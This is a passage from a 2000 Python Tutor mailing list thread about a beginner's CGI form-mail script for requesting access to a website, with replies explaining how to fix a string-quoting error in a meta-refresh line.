    out.write("To: %s\n" % A)
    out.write("Reply-to: %s\n" % mailrecip)
    out.write("Subject: %s\n\n" % subject)
    out.write(form["Your_Name"].value)
    out.write(" has requested access to the K86Tech web site\n")
    out.write("and has routed this request to you for approval. If you
approve\n")
    out.write("this request, REPLY to this email, type APPROVED, then send,
\n")
    out.write("including the information below, to %s\n\n" % mailrecip)
    out.write("The information submitted is:\n\n")



#    if  form.has_key("Link")  :
#               local_link = `form["Link"].value`
#    local_comments = "(none)"
#               local_comments = `form["comments"].value`
    C1 = ""
    C = "Test"
    
#  Telephone
    R = (       
                "Name: " + `form["Your_Name"].value`  + "\n\n" +
                "Login: " + `form["Login"].value`  + "\n\n" +
                "Temporary Password: " + `form["Password"].value`  + "\n\n"
+
                
                "Telephone: " + `form["Telephone"].value`  + "\n\n" +
                "Email: " + youremail + "\n\n"
                )
    if  form.has_key("Comments")  :
                C1 = "Comments:\n" + form["Comments"].value + "\n\n"
    C = R + C1
    
    D = string.replace(C, "'", "")
    out.write(D)
    out.write("\n\nConfirmation was mailed to " + youremail)
    
    
    
    
    
            
#
# This is old code that scanned all form fields and printed the values.
# It was replaced by the field-specific code, above.
#               
#               out.write("\n\n====================================\n")
#               out.write("\n\nThis is a complete listing of all raw
data:\n\n")
#  for fieldname in form.keys():
#       if fieldname != "REQUIRED" and fieldname != "submit" and fieldname
!= "":
#               out.write("---"+ fieldname +": \n")
#               B = form[fieldname].value
#               out.write( B + "\n\n")
                
    # Send email
    mail=smtplib.SMTP(mailserver)
#    mail.sendmail(mailrecip,[mailrecip],out.getvalue())
    mail.sendmail(A,[A],out.getvalue())
                
    # Print confirmation
    
    print "Content-type: text/html\n"
    
    print "<HTML>\n"
    print "<HEAD>\n"
    print "<TITLE>Submission successful</TITLE>"
    print "<meta http-equiv="refresh" content="3;URL=index.html">"
    print "</HEAD>\n"
    print "<BODY>\n"
    print "<H1>Submission successful</H1>\n"
    print "<P>Your submission has been mailed to the site administrators."
    print "<P>Confirmation has been sent to your email address."
    print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"

# Send confirmation email to submittor.

    out2=StringIO.StringIO()
    out2.write("Reply-to: %s\n" % mailrecip)
    out2.write("From: %s\n" % mailrecip)
    out2.write("Subject: %s\n" % subject2)
    out2.write("To: %s\n\n" % `youremail`)
    out2.write("This is confirmation of your request for access\n")
    out2.write("to the K86Tech web site. Your request has been sent\nto ")
    out2.write(A)
    out2.write(" for approval.\n")
    out2.write("This email was automatically generated. The information\n")
    out2.write("you submitted was:\n\n\n")
    out2.write(D)
    mailrecip = youremail

# TEST CODE
#    print "==============<P>\n\n"
#    print "Address: "
#    print A
#    rawtime = clock()
#    sub_time = localtime(rawtime)
#    print subtime
#    cgi.test()
# END TEST CODE

print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"

# Send confirmation email to submittor.

    out2=StringIO.StringIO()
    out2.write("Reply-to: %s\n" % mailrecip)
    out2.write("From: %s\n" % mailrecip)
    out2.write("Subject: %s\n" % subject2)
    out2.write("To: %s\n\n" % `youremail`)
    out2.write("This is confirmation of your request for access\n")
    out2.write("to the K86Tech web site. Your request has been sent\nto ")
    out2.write(A)
    out2.write(" for approval.\n")
    out2.write("This email was automatically generated. The information\n")
    out2.write("you submitted was:\n\n\n")
    out2.write(D)
    mailrecip = youremail

# TEST CODE
#    print "==============<P>\n\n"
#    print "Address: "
#    print A
#    rawtime = clock()
#    sub_time = localtime(rawtime)
#    print subtime
#    cgi.test()
# END TEST CODEz


Jason Brashear
jason.brashear@amd.com
Phone: 602-3708
ext.      53708
PCS:    296-4-AMD
                   
> /tutor

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://www.python.org/mailman/listinfo/tutor


From jason.brashear@amd.com  Fri Jun 30 16:39:51 2000
From: jason.brashear@amd.com (jason.brashear@amd.com)
Date: Fri, 30 Jun 2000 10:39:51 -0500
Subject: R: [Tutor] Having trouble with a form mail script.
Message-ID: <39073472CFF4D111A5AB00805F9FE4B6031E883C@txexmta9.amd.com>

Thanks all You where all very helpful that solved the problem Blake.
I did see what I missed. Thanks!
But Blake why does Mine4 work?   I see that you used ' ' instead if " "  How
and why does that work?
 
Yours: print "<meta http-equiv="refresh" content="3;URL=index.html">"
Mine4: print '<meta http-equiv="refresh" content="3;URL=index.html">'
Mine5: print "<meta http-equiv=\"refresh\" content=\"3;URL=index.html\">"

Jason Brashear
jason.brashear@amd.com
Phone: 602-3708
ext.      53708
PCS:    296-4-AMD
                   




From jcm@bigskytel.com  Fri Jun 30 17:07:06 2000
From: jcm@bigskytel.com (David Porter)
Date: Fri, 30 Jun 2000 10:07:06 -0600
Subject: [Tutor] Having trouble with a form mail script.
In-Reply-To: <39073472CFF4D111A5AB00805F9FE4B6031E883C@txexmta9.amd.com>; from jason.brashear@amd.com on Fri, Jun 30, 2000 at 10:39:51AM -0500
References: <39073472CFF4D111A5AB00805F9FE4B6031E883C@txexmta9.amd.com>
Message-ID: <20000630100706.A29219@novara.avenue>

* jason.brashear@amd.com <jason.brashear@amd.com>:

> But Blake why does Mine4 work?   I see that you used ' ' instead if " "  How
> and why does that work?
>  
> Yours: print "<meta http-equiv="refresh" content="3;URL=index.html">"
> Mine4: print '<meta http-equiv="refresh" content="3;URL=index.html">'
> Mine5: print "<meta http-equiv=\"refresh\" content=\"3;URL=index.html\">"
> 

You can use double quotes inside single quotes and vice versa. Python is
flexible on this. All it wants to do is differentiate from what's in the
string and what contains the string:

print ' "All" '
print " 'of' "
print ' \'these\' '
print " \"work\" "
print """

          "with"  'Python' \'just\' \"fine!\"

"""	   

  David


  


From dyoo@uclink4.berkeley.edu  Fri Jun 30 20:27:38 2000
From: dyoo@uclink4.berkeley.edu (Danny Yoo)
Date: Fri, 30 Jun 2000 12:27:38 -0700 (PDT)
Subject: [Tutor] Having trouble with a form mail script.
In-Reply-To: <39073472CFF4D111A5AB00805F9FE4B6031E883A@txexmta9.amd.com>
Message-ID: <Pine.LNX.4.21.0006301222340.6910-100000@c82114-a.pinol1.sfba.home.com>

> What I want to do is put a meta refresh but when I ad that Line I get an
> Internal server error.

The line that's causing grief is most likely this one:

>     print "<meta http-equiv="refresh" content="3;URL=http://k86tech">"

It's the quotation.  Python's breaking it up into something like this:
  "<meta http-equiv=",
  refresh,
  " content="
  3;URL=http://k86tech
  ">"

which confuses the heck out of Python, since it doesn't realize when a '"'
should be treated as string termination, or as a literal '"'.  Since you
want to do quoting inside strings, the easiest solution to this is to use
single quotes to surround the html:

  print '<meta http-equiv="refresh" content="3;URL=http://k86tech">'

which will be recognized as a single string and is unambiguous.

Another way to do this would be to "protect" the inner quotes by escaping
them with backslashes.  "\"" is a string with a single quote, for example.